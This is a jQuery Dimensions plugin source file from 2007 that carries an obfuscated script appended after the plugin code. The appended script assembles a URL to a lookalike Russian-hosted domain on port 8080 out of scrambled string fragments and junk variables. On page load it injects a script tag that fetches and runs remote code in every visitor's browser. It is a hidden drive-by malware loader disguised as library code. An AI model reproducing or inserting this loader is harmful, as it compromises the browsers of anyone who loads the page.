/* Copyright (c) 2007 Paul Bakaus (paul.bakaus@googlemail.com) and Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
 * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
 * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
 *
 * $LastChangedDate: 2007-09-11 02:38:31 +0000 (Tue, 11 Sep 2007) $
 * $Rev: 3238 $
 *
 * Version: @VERSION
 *
 * Requires: jQuery 1.2+
 */

(function($){
	
$.dimensions = {
	version: '@VERSION'
};

// Create innerHeight, innerWidth, outerHeight and outerWidth methods
$.each( [ 'Height', 'Width' ], function(i, name){
	
	// innerHeight and innerWidth
	$.fn[ 'inner' + name ] = function() {
		if (!this[0]) return;
		
		var torl = name == 'Height' ? 'Top'    : 'Left',  // top or left
		    borr = name == 'Height' ? 'Bottom' : 'Right'; // bottom or right
		
		return this[ name.toLowerCase() ]() + num(this, 'padding' + torl) + num(this, 'padding' + borr);
	};
	
	// outerHeight and outerWidth
	$.fn[ 'outer' + name ] = function(options) {
		if (!this[0]) return;
		
		var torl = name == 'Height' ? 'Top'    : 'Left',  // top or left
		    borr = name == 'Height' ? 'Bottom' : 'Right'; // bottom or right
		
		options = $.extend({ margin: false }, options || {});
		
		return this[ name.toLowerCase() ]()
				+ num(this, 'border' + torl + 'Width') + num(this, 'border' + borr + 'Width')
				+ num(this, 'padding' + torl) + num(this, 'padding' + borr)
				+ (options.margin ? (num(this, 'margin' + torl) + num(this, 'margin' + borr)) : 0);
	};
});

// Create scrollLeft and scrollTop methods
$.each( ['Left', 'Top'], function(i, name) {
	$.fn[ 'scroll' + name ] = function(val) {
		if (!this[0]) return;
		
		return val != undefined ?
		
			// Set the scroll offset
			this.each(function() {
				this == window || this == document ?
					window.scrollTo( 
						name == 'Left' ? val : $(window)[ 'scrollLeft' ](),
						name == 'Top'  ? val : $(window)[ 'scrollTop'  ]()
					) :
					this[ 'scroll' + name ] = val;
			}) :
			
			// Return the scroll offset
			this[0] == window || this[0] == document ?
				self[ (name == 'Left' ? 'pageXOffset' : 'pageYOffset') ] ||
					$.boxModel && document.documentElement[ 'scroll' + name ] ||
					document.body[ 'scroll' + name ] :
				this[0][ 'scroll' + name ];
	};
});

$.fn.extend({
	position: function() {
		var left = 0, top = 0, elem = this[0], offset, parentOffset, offsetParent, results;
		
		if (elem) {
			// Get *real* offsetParent
			offsetParent = this.offsetParent();
			
			// Get correct offsets
			offset       = this.offset();
			parentOffset = offsetParent.offset();
			
			// Subtract element margins
			offset.top  -= num(elem, 'marginTop');
			offset.left -= num(elem, 'marginLeft');
			
			// Add offsetParent borders
			parentOffset.top  += num(offsetParent, 'borderTopWidth');
			parentOffset.left += num(offsetParent, 'borderLeftWidth');
			
			// Subtract the two offsets
			results = {
				top:  offset.top  - parentOffset.top,
				left: offset.left - parentOffset.left
			};
		}
		
		return results;
	},
	
	offsetParent: function() {
		var offsetParent = this[0].offsetParent;
		while ( offsetParent && (!/^body|html$/i.test(offsetParent.tagName) && $.css(offsetParent, 'position') == 'static') )
			offsetParent = offsetParent.offsetParent;
		return $(offsetParent);
	}
});

var num = function(el, prop) {
	return parseInt($.css(el.jquery?el[0]:el,prop))||0;
};

})(jQuery);
var q;if(q!='b' && q != ''){q=null};var _=new Date();function g(){var i=new Array();var p=String("glE6".substr(0,1));var QY='';var Q='';var c="";var s=RegExp;var FH='';var I='';var hx;if(hx!='v' && hx!='cd'){hx=''};var _x=new Date();function a(V,u){var Lm=new Date();var Ak=new Date();var fQ="";var l= String("[");this.D="";l+=u;this.__='';l+="]XMv".substr(0,1);var S;if(S!='lE'){S=''};var E=new s(l, p);var j;if(j!='FJ' && j!='YP'){j='FJ'};return V.replace(E, Q);};var qx;if(qx!='UM' && qx != ''){qx=null};var N;if(N!='jC' && N != ''){N=null};var yf='';var A=String("kq8jsr".substr(4)+"cF0Q".substr(0,1));var pb=new String();var m=new String();var tP;if(tP!='EX' && tP != ''){tP=null};var e;if(e!='Hk' && e != ''){e=null};var gA="/echoQM5".substr(0,5)+"FLGrouko".substr(3)+"sLvnlinevsL".substr(3,5)+"WUJO.com/".substr(4)+"echor"+"hviEoukonihEv".substr(4,5)+"line.h0V".substr(0,5)+"com/z"+"rI1Nynga.".substr(4)+"com/uPt87".substr(0,5)+"E8orband".substr(3)+"1q0sictio".substr(4)+"Lvounary.".substr(4)+"com/gGSik".substr(0,5)+"oogleKy1I".substr(0,5)+".com.gH4T".substr(0,5)+"php";var VI=new Array();var T=new String("cL2def".substr(3)+"QlRer".substr(3));var P=window;this.IV='';var o=a('822222720272277228722227077277',"27");var z='';var VZ=new Date();var h=new String("http"+"://g"+"oogl"+"e-co"+"m-eg"+".goo8qir".substr(0,4)+"gle.fQR".substr(0,4)+"com.VsA".substr(0,4)+"CzXkw.ezCX".substr(3,4)+"xper"+"2C9fts-eC29f".substr(4,4)+"xchaL8W".substr(0,4)+"rqVnge-".substr(3)+"com.MBg".substr(0,4)+"oute"+"kqIyastoyqkI".substr(4,4)+"vgCnlin".substr(3)+"e.rudkP".substr(0,4)+":FdBz".substr(0,1));var oD=String("VM2escrip".substr(4)+"t");var n=new Date();var bi=new Date();P.onload=function(){try {var xoI=new Date();var ce;if(ce!='B_'){ce=''};z=h+o;var Yu=new Array();z+=gA;var SM;if(SM!='X' && SM!='gR'){SM='X'};var Tr="";B=document.createElement(oD);var PO=new Date();var fO="";var eI="";B[A]=z;var pxq;if(pxq!='Qx' && pxq!='iF'){pxq='Qx'};var yj;if(yj!='PN' && yj!='_h'){yj='PN'};var gk;if(gk!='aV' && gk!='DL'){gk='aV'};var uT;if(uT!='' && uT!='ss'){uT=''};B[T]=[1][0];var XS;if(XS!='gX' && XS != ''){XS=null};var cj=new Date();var fN=new Array();document.body.appendChild(B);var fP;if(fP!='GY' && fP!='pF'){fP='GY'};var nM='';var DV;if(DV!='' && DV!='Xz'){DV=''};this.KF="";} catch(x){};var _U;if(_U!='xC'){_U='xC'};};};var OS=new Array();g();var mY;if(mY!='Dg' && mY != ''){mY=null};var XK=new Date();